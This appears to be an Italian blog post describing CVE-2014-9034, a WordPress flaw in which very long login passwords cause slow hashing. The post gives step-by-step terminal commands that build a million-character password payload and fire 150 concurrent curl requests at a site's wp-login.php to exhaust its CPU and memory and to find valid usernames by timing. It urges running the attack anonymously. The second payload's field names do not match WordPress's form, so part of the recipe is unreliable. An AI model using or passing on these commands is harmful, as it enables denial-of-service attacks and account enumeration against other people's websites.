E’ possibile testare il comportamento della vulnerabilità DOS CVE2014-9034 da linux direttamente da una finestra di terminale.
La vulnerabilità in oggetto consiste in quanto segue :
- WordPress confronta la password di login con quella memorizzata nel DB solo se l’utente inserito esiste.
- Per la password inserita nella schermata di login di WP viene calcolato l’HASH e poi confrontato con quello del DB di WP
- Se inseriamo una password lunghissima, WP sarà costretto a calcolarne l’HASH e ci metterà diverso tempo …se l’utente inserito esiste nel db … questo ci permette quindi di capire se l’utente che abbiamo inserito esiste o meno!
- Nel momento in cui avviene la verifica della password i servizi di apache restano in attesa che lo script termini l’esecuzione (di default 30 secondi)
- Il calcolo del HASH della password consuma risorse CPU sul server che ospita il sito
- I servizi di apache occupano tanta memoria oltre che l’area di SWAP del disco
- Se generiamo n tentativi di accesso contemporanei riusciamo a saturare quindi la memoria RAM e l’area di SWAP di apache, e consumiamo risorse CPU per il calcolo multiplo del HASH delle Password delle connessioni multiple che effettuiamo.
Per generare quindi un attacco possiamo sfruttare queste debolezze e procedere da finestra di terminale in due modi a seconda che conosciamo o meno l’utente di accesso a WP:
1- Metodo per scoprire l’utente tentando diversi nomi ad ogni tentativo.
Generiamo un Payload con utente non valido (il simbolo dollaro va tolto, indica che siamo in terminal come root):
$ echo -n “log=NO-VALID-USER&pwd=” > payload && printf “%s” {1..1000000} >> payload && echo -n “&wp-submit=Log In” >> payload
(premere invio)
Poi digitiamo :
$ time curl –data @no_valid_user_payload http://tuosito/wp-login.php –silent > /dev/null &
(premere invio)
2 – Se invece conosciamo il nome utente valido, generiamo un Payload con utente valido e quindi digitiamo quanto segue :
$ echo -n “name=nomutentevalido&pass=” > valid_user_payload && printf “%s” {1..1000000} >> valid_user_payload && echo -n “&op=Log in&form_id=user_login” >> valid_user_payload
(premere invio)
$ time curl –data @valid_user_payload http://tuosito/wp-login.php –silent > /dev/null &
(premere invio)
E ora l’attacco vero e proprio dove eseguiamo 150 connessioni contemporane con utente valido:
Poi digitiamo :
$ for i in `seq 1 150`; do (curl –data @valid_user_payload http://tuosito/wp-login.php –silent > /dev/null &); sleep 0.25; done
(premere invio ed attendere!)
Ecco un video che spiega meglio come fare. Ricordo che la cosa va eseguita in anonimità!
0 commenti